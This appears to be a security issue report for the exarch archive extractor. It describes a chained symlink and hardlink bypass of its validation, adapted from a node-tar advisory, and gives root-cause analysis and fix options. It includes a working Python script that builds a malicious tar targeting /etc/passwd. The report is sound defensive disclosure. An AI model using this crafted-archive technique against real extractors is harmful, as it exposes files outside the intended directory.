sec: two-hop symlink chain bypasses SafeSymlink validation (GHSA-83g3-92jg-28cx variant)

[bug-ops]

Summary

When --allow-symlinks is enabled, a carefully crafted archive can place symlinks outside the extraction root using a two-hop chain. The second symlink passes string-based validation (normalizes to inside dest) but resolves outside via the first symlink already written to disk.

Attack Chain

Based on GHSA-83g3-92jg-28cx (node-tar), adapted to exarch's TAR extraction:

Entry 1: dir   a/b/c/
Entry 2: link  a/b/c/up  ->  ../..        (resolves to a/  — passes validation)
Entry 3: link  a/b/escape -> c/up/../..   (string: normalizes to a/b/ — PASSES; disk: resolves to /tmp/)
Entry 4: hard  exfil -> a/b/escape/../../etc/passwd
              (string: normalizes to a/etc/passwd — PASSES; disk: /etc/passwd)

Reproduction

python3 - <<'PYEOF'
import tarfile, io
buf = io.BytesIO()
with tarfile.open(fileobj=buf, mode='w') as tf:
    d = tarfile.TarInfo('a/b/c'); d.type = tarfile.DIRTYPE; d.mode = 0o755; tf.addfile(d)
    s1 = tarfile.TarInfo('a/b/c/up'); s1.type = tarfile.SYMTYPE; s1.linkname = '../..'; tf.addfile(s1)
    s2 = tarfile.TarInfo('a/b/escape'); s2.type = tarfile.SYMTYPE; s2.linkname = 'c/up/../..'; tf.addfile(s2)
    h = tarfile.TarInfo('exfil'); h.type = tarfile.LNKTYPE; h.linkname = 'a/b/escape/../../etc/passwd'; tf.addfile(h)
with open('/tmp/escape.tar', 'wb') as f: f.write(buf.getvalue())
PYEOF

cargo run --bin exarch -- extract --allow-symlinks --allow-hardlinks /tmp/escape.tar /tmp/out/
python3 -c "import os; print(os.path.realpath('/tmp/out/a/b/escape'))"
# Output: /private/tmp  (OUTSIDE extraction root)

Root Cause

SafeSymlink::validate uses normalize_symlink_target() (string-based .. resolution, lines 151–152 in safe_symlink.rs). When validating escape -> c/up/../.., the function normalizes the string c/up/../.. to c/ without following c/up as an already-extracted on-disk symlink. Result: validated as safe, but real resolution escapes dest.

Same issue affects SafeHardlink validation for the hardlink target.

Impact

• Requires: --allow-symlinks (non-default) AND --allow-hardlinks (non-default)
• On macOS: hardlink creation blocked by OS for root-owned files, but escape symlinks are written to dest
• On Linux: would allow hardlinks to any file readable by the extracting user to be placed inside dest

Expected Behavior

After writing a symlink to disk, subsequent symlink/hardlink targets that traverse through it should be validated using canonicalize() (or equivalent on-disk resolution) to detect the escape.

Severity

High — bypasses symlink escape protection with chained symlinks. Mitigated by requiring two non-default flags.

[bug-ops]

Updated Analysis After Further Testing

File writes through escape symlinks: BLOCKED ✅

SafePath::validate uses canonicalize() which follows on-disk symlinks. Writing a/b/escape/write_through.txt is correctly rejected with path traversal detected because canonicalize() resolves through the escape symlink chain and detects the path is outside dest.

Remaining concern: escape symlinks are written to disk

The asymmetry is:

• SafeSymlink (for symlink entries): string-based normalization → escape symlinks written to dest ❌
• SafePath (for file/dir entries): canonicalize() based → files through escape symlinks blocked ✅

Hardlink case on Linux:

On macOS the hardlink creation failed (EPERM — root-owned files). On Linux, for user-owned files in a known location:

• exfil -> a/b/escape/../../target_file — the hardlink target string normalizes to a/etc/target_file (inside), but at link(2) syscall time the kernel resolves a/b/escape as the on-disk symlink → /tmp/target_file → hardlink to outside dest succeeds

This requires:

1. --allow-symlinks AND --allow-hardlinks (both non-default)
2. An attacker-controlled archive targeting a file the extracting user owns

Revised severity: Medium (requires two non-default flags + user-owned target file on Linux). The escape symlinks on disk are still undesirable even if file-writes are blocked.

Fix options:

1. After writing a symlink, canonicalize() the symlink's resolved path on disk. If it escapes dest, delete symlink and return error.
2. For hardlink target validation, resolve through existing on-disk symlinks using canonicalize() before the bounds check.